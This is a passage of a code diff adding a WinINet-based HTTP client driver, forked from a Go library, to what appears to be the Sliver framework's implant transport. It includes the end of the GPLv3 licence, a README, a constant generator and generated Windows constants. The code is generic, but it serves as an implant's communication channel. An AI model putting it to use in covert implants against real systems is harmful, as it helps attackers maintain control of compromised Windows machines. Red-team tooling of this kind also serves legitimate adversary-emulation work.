+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<http://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<http://www.gnu.org/philosophy/why-not-lgpl.html>.

implant/sliver/transports/httpclient/drivers/win/README.md

@@ -0,0 +1,119 @@
+# Forked from https://gitlab.com/mjwhitta/win/
+
+#### Changes
+
+ * Removed winhttp code
+ * Removed custom errors package
+ * Removed custom pathname package
+ * Refactored names to be consistent with the rest of the Sliver code base
+ * Merged client `http` sub-packages with `winhttp` and `wininet`
+ * Added custom cookie jar implementation to wininet client
+
+# Win
+
+<a href="https://www.buymeacoffee.com/mjwhitta">🍪 Buy me a cookie</a>
+
+[![Go Report Card](https://goreportcard.com/badge/gitlab.com/mjwhitta/win)](https://goreportcard.com/report/gitlab.com/mjwhitta/win)
+
+## What is this?
+
+This Go module wraps WinHTTP and WinINet functions and includes HTTP
+clients that use those functions to make HTTP requests. Hopefully,
+this makes it easier to make HTTP requests in Go on Windows. WinHTTP
+(and theoretically WinINet) can even handle NTLM authentication
+automatically for you.
+
+Microsoft recommends [WinINet over WinHTTP] unless you're writing a
+Windows service.
+
+**Note:** This is probably beta quality at best.
+
+[WinINet over WinHTTP]: https://docs.microsoft.com/en-us/windows/win32/wininet/wininet-vs-winhttp
+
+## How to install
+
+Open a terminal and run the following:
+
+```
+$ go get --ldflags="-s -w" --trimpath -u gitlab.com/mjwhitta/win
+```
+
+## Usage
+
+Minimal example:
+
+```
+package main
+
+import (
+    "fmt"
+    "io/ioutil"
+
+    // "gitlab.com/mjwhitta/win/winhttp/http"
+    "gitlab.com/mjwhitta/win/wininet/http"
+)
+
+func main() {
+    var b []byte
+    var dst = "http://127.0.0.1:8080/asdf"
+    var e error
+    var headers = map[string]string{
+        "User-Agent": "testing, testing, 1, 2, 3...",
+    }
+    var req *http.Request
+    var res *http.Response
+
+    http.DefaultClient.TLSClientConfig.InsecureSkipVerify = true
+
+    if _, e = http.Get(dst); e != nil {
+        panic(e)
+    }
+
+    req = http.NewRequest(http.MethodPost, dst, []byte("test"))
+    req.AddCookie(&http.Cookie{Name: "chocolatechip", Value: "tasty"})
+    req.AddCookie(&http.Cookie{Name: "oatmealraisin", Value: "gross"})
+    req.AddCookie(&http.Cookie{Name: "snickerdoodle", Value: "yummy"})
+    req.Headers = headers
+
+    if res, e = http.DefaultClient.Do(req); e != nil {
+        panic(e)
+    }
+
+    if res.Body != nil {
+        if b, e = ioutil.ReadAll(res.Body); e != nil {
+            panic(e)
+        }
+    }
+
+    fmt.Println(res.Status)
+    for k, vs := range res.Header {
+        for _, v := range vs {
+            fmt.Printf("%s: %s\n", k, v)
+        }
+    }
+    if len(b) > 0 {
+        fmt.Println(string(b))
+    }
+
+    if len(res.Cookies()) > 0 {
+        fmt.Println()
+        fmt.Println("# COOKIEJAR")
+    }
+
+    for _, cookie := range res.Cookies() {
+        fmt.Printf("%s = %s\n", cookie.Name, cookie.Value)
+    }
+}
+```
+
+## Links
+
+- [Source](https://gitlab.com/mjwhitta/win)
+
+## TODO
+
+- Mirror `net/http` as close as possible
+    - CookieJar for the Client
+    - etc...
+- WinINet
+    - FTP client

implant/sliver/transports/httpclient/drivers/win/tools/defines.go

@@ -0,0 +1,249 @@
+package main
+
+import (
+	"flag"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"os/user"
+	"path/filepath"
+	"sort"
+	"strings"
+)
+
+func format(str string) string {
+	if !strings.Contains(str, "_") {
+		return str
+	}
+
+	str = strings.ReplaceAll(strings.ToLower(str), "_", " ")
+	str = strings.ReplaceAll(strings.Title(str), " ", "")
+	str = strings.ReplaceAll(str, "Crlf", "CRLF")
+	str = strings.ReplaceAll(str, "Http", "HTTP")
+
+	return str
+}
+
+func genFile(
+	pkg string,
+	cache map[string]string,
+	lines [][]string,
+) error {
+	var err error
+	var file string = "generated.go"
+	var g *os.File
+	var sorted []string
+
+	if g, err = os.Create(file); err != nil {
+		return fmt.Errorf("failed to create %s: %w", file, err)
+	}
+	defer g.Close()
+
+	g.WriteString(
+		"// Code generated by tools/defines.go; DO NOT EDIT.\n",
+	)
+	g.WriteString("package " + pkg + "\n\n")
+	g.WriteString("const (\n")
+
+	for k := range cache {
+		sorted = append(sorted, k)
+	}
+
+	sort.Slice(
+		sorted,
+		func(i int, j int) bool {
+			return len(sorted[i]) > len(sorted[j])
+		},
+	)
+
+	for _, line := range lines {
+		for _, k := range sorted {
+			line[1] = strings.ReplaceAll(line[1], k, cache[k])
+		}
+
+		if strings.HasPrefix(line[1], "\"") {
+			g.WriteString(
+				fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
+			)
+		} else if strings.HasPrefix(line[1], "L\"") {
+			g.WriteString(
+				fmt.Sprintf(
+					"\t%s string = %s\n",
+					line[0],
+					strings.Replace(line[1], "L", "", 1),
+				),
+			)
+		} else if strings.HasPrefix(line[1], "TEXT(") {
+			line[1] = strings.Replace(line[1], "TEXT(", "", 1)
+			line[1] = strings.Replace(line[1], ")", "", 1)
+
+			g.WriteString(
+				fmt.Sprintf("\t%s string = %s\n", line[0], line[1]),
+			)
+		} else {
+			g.WriteString(
+				fmt.Sprintf("\t%s uintptr = %s\n", line[0], line[1]),
+			)
+		}
+	}
+
+	g.WriteString(")\n")
+
+	return nil
+}
+
+func init() {
+	flag.Parse()
+}
+
+func main() {
+	var cache = map[string]string{
+		"NULL":   "0",
+		"sizeof": "len",
+	}
+	var lines [][]string
+
+	if flag.NArg() == 0 {
+		return
+	}
+
+	for i, arg := range flag.Args() {
+		if (i == 0) || !DoesExist(arg) {
+			continue
+		}
+
+		if err := processFile(&cache, &lines, arg); err != nil {
+			panic(err)
+		}
+	}
+
+	if err := genFile(flag.Arg(0), cache, lines); err != nil {
+		panic(err)
+	}
+}
+
+func processFile(
+	cache *map[string]string,
+	lines *[][]string,
+	file string,
+) error {
+	var b []byte
+	var err error
+	var f *os.File
+	var fullLine string
+	var tmp []string
+
+	if f, err = os.Open(ExpandPath(file)); err != nil {
+		return fmt.Errorf("failed to open %s: %w", file, err)
+	}
+	defer f.Close()
+
+	if b, err = ioutil.ReadAll(f); err != nil {
+		return fmt.Errorf("failed to read %s: %w", file, err)
+	}
+
+	for _, line := range strings.Split(string(b), "\n") {
+		line = strings.TrimSpace(line)
+
+		if strings.HasSuffix(line, "\\") {
+			fullLine += line[:len(line)-1]
+			continue
+		} else {
+			fullLine += line
+		}
+
+		line = fullLine
+		fullLine = ""
+
+		if !strings.HasPrefix(line, "#define") {
+			continue
+		}
+
+		line = strings.Replace(line, "#define ", "", 1)
+		tmp = strings.SplitN(line, " ", 2)
+
+		if (len(tmp) != 2) ||
+			strings.Contains(tmp[0], "(") ||
+			strings.Contains(tmp[0], ")") ||
+			strings.Contains(tmp[1], "~") ||
+			strings.Contains(tmp[1], "_(") ||
+			strings.Contains(tmp[1], "DWORD") ||
+			strings.Contains(tmp[1], "EXTERN_C") ||
+			strings.Contains(tmp[1], "__MINGW_NAME") ||
+			(tmp[0]+"W" == tmp[1]) {
+			continue
+		}
+
+		(*cache)[tmp[0]] = format(tmp[0])
+		*lines = append(*lines, []string{format(tmp[0]), tmp[1]})
+	}
+
+	return nil
+}
+
+// DoesExist returns true if the specified path exists on disk, false
+// otherwise.
+func DoesExist(path string) bool {
+	if _, err := os.Stat(ExpandPath(path)); err == nil {
+		return true
+	} else if os.IsNotExist(err) {
+		return false
+	} else {
+		panic(err)
+	}
+}
+
+// ExpandPath will expand the specified path accounting for ~ or ~user
+// shortcuts as well as ENV vars.
+func ExpandPath(path string) string {
+	var err error
+	var sep int
+	var usr *user.User
+
+	// Fix separators
+	path = filepath.Clean(path)
+
+	// Expand ENV vars
+	path = os.ExpandEnv(path)
+
+	// Expand ~
+	if strings.HasPrefix(path, "~") {
+		sep = strings.Index(path, string(filepath.Separator))
+
+		switch sep {
+		case -1:
+			// If just ~
+			if path == "~" {
+				if usr, err = user.Current(); err != nil {
+					return path
+				}
+			} else {
+				// If ~user shortcut
+				if usr, err = user.Lookup(path[1:]); err != nil {
+					return path
+				}
+			}
+
+			path = ""
+		case 1:
+			// If path starting with ~/
+			if usr, err = user.Current(); err != nil {
+				return path
+			}
+
+			path = path[2:]
+		default:
+			// If ~user/ shortcut
+			if usr, err = user.Lookup(path[1:sep]); err != nil {
+				return path
+			}
+
+			path = path[sep+1:]
+		}
+
+		return filepath.Join(usr.HomeDir, path)
+	}
+
+	// Otherwise just return path
+	return path
+}

implant/sliver/transports/httpclient/drivers/win/wininet/client_generic.go

@@ -0,0 +1,38 @@
+//go:build !windows
+// +build !windows
+
+package http
+
+import "errors"
+
+// Client is an empty struct, if not Windows.
+type Client struct{}
+
+// NewClient is only supported on Windows.
+func NewClient() (*Client, error) {
+	return &Client{}, errors.New("unsupported OS")
+}
+
+// Do is only supported on Windows.
+func (c *Client) Do(r *Request) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Get is only supported on Windows.
+func (c *Client) Get(url string) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Head is only supported on Windows.
+func (c *Client) Head(url string) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}
+
+// Post is only supported on Windows.
+func (c *Client) Post(
+	url string,
+	contentType string,
+	body []byte,
+) (*Response, error) {
+	return nil, errors.New("unsupported OS")
+}

implant/sliver/transports/httpclient/drivers/win/wininet/client_windows.go

@@ -0,0 +1,234 @@
+package wininet
+
+import (
+	"encoding/binary"
+	"fmt"
+	"io/ioutil"
+	"net/http"
+	"net/url"
+	"sync"
+	"time"
+)
+
+const (
+	FLAGS_ERROR_UI_FILTER_FOR_ERRORS    uint32 = 0x01
+	FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS uint32 = 0x02
+	FLAGS_ERROR_UI_FLAGS_GENERATE_DATA  uint32 = 0x04
+	INTERNET_ERROR_BASE                 uint32 = 12000
+	ERROR_INTERNET_INCORRECT_PASSWORD   uint32 = INTERNET_ERROR_BASE + 14
+	ERROR_INTERNET_FORCE_RETRY          uint32 = INTERNET_ERROR_BASE + 32
+)
+
+// Client is a struct containing relevant metadata to make HTTP
+// requests.
+type Client struct {
+	handle          uintptr
+	Timeout         time.Duration
+	TLSClientConfig struct {
+		InsecureSkipVerify bool
+	}
+	CookieJar     *Jar
+	AskProxyCreds bool
+}
+
+// NewClient will return a pointer to a new Client instance that
+// simply wraps the net/http.Client type.
+func NewClient(userAgent string) (*Client, error) {
+	var client = &Client{
+		CookieJar: cookieJar(),
+	}
+	var err error
+
+	// Create session
+	client.handle, err = InternetOpenW(
+		userAgent,
+		InternetOpenTypePreconfig,
+		"",
+		"",
+		0,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("failed to create session: %w", err)
+	}
+	return client, nil
+}
+
+// Do will send the HTTP request and return an HTTP response.
+func (c *Client) Do(request *http.Request) (*http.Response, error) {
+	var buf []byte
+	var err error
+	var reqHandle uintptr
+	var resp *Response
+
+	var rawBody []byte
+	if request.Body != nil {
+		rawBody, err = ioutil.ReadAll(request.Body)
+		if err != nil {
+			return nil, fmt.Errorf("failed to read request body: %w", err)
+		}
+	}
+
+	headers := make(map[string]string)
+	for headerName, headerValue := range request.Header {
+		if 0 < len(headerValue) {
+			headers[headerName] = headerValue[0]
+		}
+	}
+	req := &Request{
+		Method:  request.Method,
+		URL:     request.URL.String(),
+		Headers: headers,
+		Body:    rawBody,
+	}
+
+	if reqHandle, err = buildRequest(c.handle, req); err != nil {
+		return nil, err
+	}
+
+	if c.Timeout > 0 {
+		buf = make([]byte, 4)
+		binary.LittleEndian.PutUint32(
+			buf,
+			uint32(c.Timeout.Milliseconds()),
+		)
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionConnectTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set connect timeout: %w", err)
+			return nil, err
+		}
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionReceiveTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set receive timeout: %w", err)
+			return nil, err
+		}
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionSendTimeout,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set send timeout: %w", err)
+			return nil, err
+		}
+	}
+
+	if c.TLSClientConfig.InsecureSkipVerify {
+		buf = make([]byte, 4)
+		binary.LittleEndian.PutUint32(
+			buf,
+			uint32(SecuritySetMask),
+		)
+
+		err = InternetSetOptionW(
+			reqHandle,
+			InternetOptionSecurityFlags,
+			buf,
+			len(buf),
+		)
+		if err != nil {
+			err = fmt.Errorf("failed to set security flags: %w", err)
+			return nil, err
+		}
+	}
+
+	for _, cookie := range c.CookieJar.Cookies(request.URL) {
+		req.AddCookie(cookie)
+	}
+
+	if err = sendRequest(reqHandle, req); err != nil {
+		return nil, err
+	}
+
+	if resp, err = buildResponse(reqHandle, req); err != nil {
+		return nil, err
+	}
+
+	if c.AskProxyCreds {
+		if resp.StatusCode == 407 {
+			err := promptUserPassword(reqHandle)
+			if err != nil {
+				return nil, err
+			}
+			if err = sendRequest(reqHandle, req); err != nil {
+				return nil, err
+			}
+			if resp, err = buildResponse(reqHandle, req); err != nil {
+				return nil, err
+			}
+		}
+	}
+
+	c.CookieJar.cookies = resp.Cookies()
+
+	return &http.Response{
+		Status:        resp.Status,
+		StatusCode:    resp.StatusCode,
+		Proto:         "HTTP/1.1",
+		ProtoMajor:    1,
+		ProtoMinor:    1,
+		Body:          resp.Body,
+		ContentLength: resp.ContentLength,
+		Request:       request,
+		Header:        make(http.Header),
+	}, nil
+}
+
+func promptUserPassword(reqHandle uintptr) error {
+	var lppvData []byte
+	dwError := ERROR_INTERNET_INCORRECT_PASSWORD
+	dwFlags := FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA
+	_, err := InternetErrorDlg(GetDesktopWindow(), reqHandle, dwError, dwFlags, &lppvData)
+	if err != nil {
+		return err
+	}
+	return nil
+}
+
+// Jar - CookieJar implementation that ignores domains/origins
+type Jar struct {
+	lk      sync.Mutex
+	cookies []*Cookie
+}
+
+func cookieJar() *Jar {
+	return &Jar{
+		lk:      sync.Mutex{},
+		cookies: []*Cookie{},
+	}
+}
+
+// NewJar - Get a new instance of a cookie jar
+func NewJar() *Jar {
+	jar := new(Jar)
+	jar.cookies = make([]*Cookie, 0)
+	return jar
+}
+
+// SetCookies handles the receipt of the cookies in a reply for the
+// given URL (which is ignored).
+func (jar *Jar) SetCookies(u *url.URL, cookies []*Cookie) {
+	jar.lk.Lock()
+	jar.cookies = append(jar.cookies, cookies...)
+	jar.lk.Unlock()
+}
+
+// Cookies returns the cookies to send in a request for the given URL.
+// It is up to the implementation to honor the standard cookie use
+// restrictions such as in RFC 6265 (which we do not).
+func (jar *Jar) Cookies(u *url.URL) []*Cookie {
+	return jar.cookies
+}

implant/sliver/transports/httpclient/drivers/win/wininet/cookie.go

@@ -0,0 +1,8 @@
+package wininet
+
+// Cookie represents an HTTP cookie sent in the Cookie header of an
+// HTTP Request.
+type Cookie struct {
+	Name  string
+	Value string
+}

implant/sliver/transports/httpclient/drivers/win/wininet/generated.go

@@ -0,0 +1,706 @@
+// Code generated by tools/defines.go; DO NOT EDIT.
+package wininet
+
+const (
+	InternetInvalidPortNumber                      uintptr = 0
+	InternetDefaultFtpPort                         uintptr = 21
+	InternetDefaultGopherPort                      uintptr = 70
+	InternetDefaultHTTPPort                        uintptr = 80
+	InternetDefaultHTTPsPort                       uintptr = 443
+	InternetDefaultSocksPort                       uintptr = 1080
+	InternetMaxHostNameLength                      uintptr = 256
+	InternetMaxUserNameLength                      uintptr = 128
+	InternetMaxPasswordLength                      uintptr = 128
+	InternetMaxPortNumberLength                    uintptr = 5
+	InternetMaxPortNumberValue                     uintptr = 65535
+	InternetMaxPathLength                          uintptr = 2048
+	InternetMaxSchemeLength                        uintptr = 32
+	InternetMaxUrlLength                           uintptr = (InternetMaxSchemeLength + uintptr(len("://")) + InternetMaxPathLength)
+	InternetKeepAliveEnabled                       uintptr = 1
+	InternetKeepAliveDisabled                      uintptr = 0
+	InternetReqflagFromCache                       uintptr = 0x00000001
+	InternetReqflagAsync                           uintptr = 0x00000002
+	InternetReqflagViaProxy                        uintptr = 0x00000004
+	InternetReqflagNoHeaders                       uintptr = 0x00000008
+	InternetReqflagPassive                         uintptr = 0x00000010
+	InternetReqflagCacheWriteDisabled              uintptr = 0x00000040
+	InternetReqflagNetTimeout                      uintptr = 0x00000080
+	InternetFlagReload                             uintptr = 0x80000000
+	InternetFlagRawData                            uintptr = 0x40000000
+	InternetFlagExistingConnect                    uintptr = 0x20000000
+	InternetFlagAsync                              uintptr = 0x10000000
+	InternetFlagPassive                            uintptr = 0x08000000
+	InternetFlagNoCacheWrite                       uintptr = 0x04000000
+	InternetFlagDontCache                          uintptr = InternetFlagNoCacheWrite
+	InternetFlagMakePersistent                     uintptr = 0x02000000
+	InternetFlagFromCache                          uintptr = 0x01000000
+	InternetFlagOffline                            uintptr = InternetFlagFromCache
+	InternetFlagSecure                             uintptr = 0x00800000
+	InternetFlagKeepConnection                     uintptr = 0x00400000
+	InternetFlagNoAutoRedirect                     uintptr = 0x00200000
+	InternetFlagReadPrefetch                       uintptr = 0x00100000
+	InternetFlagNoCookies                          uintptr = 0x00080000
+	InternetFlagNoAuth                             uintptr = 0x00040000
+	InternetFlagRestrictedZone                     uintptr = 0x00020000
+	InternetFlagCacheIfNetFail                     uintptr = 0x00010000
+	InternetFlagIgnoreRedirectToHTTP               uintptr = 0x00008000
+	InternetFlagIgnoreRedirectToHTTPs              uintptr = 0x00004000
+	InternetFlagIgnoreCertDateInvalid              uintptr = 0x00002000
+	InternetFlagIgnoreCertCnInvalid                uintptr = 0x00001000
+	InternetFlagResynchronize                      uintptr = 0x00000800
+	InternetFlagHyperlink                          uintptr = 0x00000400
+	InternetFlagNoUi                               uintptr = 0x00000200
+	InternetFlagPragmaNocache                      uintptr = 0x00000100
+	InternetFlagCacheAsync                         uintptr = 0x00000080
+	InternetFlagFormsSubmit                        uintptr = 0x00000040
+	InternetFlagFwdBack                            uintptr = 0x00000020
+	InternetFlagNeedFile                           uintptr = 0x00000010
